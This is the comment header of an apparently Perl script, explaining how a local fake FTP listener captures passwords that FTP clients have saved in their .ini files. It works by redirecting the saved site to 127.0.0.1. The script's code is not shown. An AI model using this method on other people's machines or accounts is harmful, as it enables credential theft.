# This is a simple tcp server that listens on port 21
# unless another is specified.  
# The possible uses of this are;
#  Ftp has no encryption for passwords and they are
#  sent in plain text under the right conditions.
#  Most ftp programs have a text file called <program-name>.ini
#  which will store the info like site-name, user-name, encrypted
#  password and account-name.  Instead of trying to decrypt the 
#  password for each different application (ws_ftp etc)
#  do this.  
#    Edit the <program-name>.ini 
#    Wherever there is a site-name change it to 127.0.0.1
#    Start your this perl scipt
#    Open your ftp program and click connect

# Most of this coding was already in the /perl/eg/ folder
# you can find the orginal version there ..
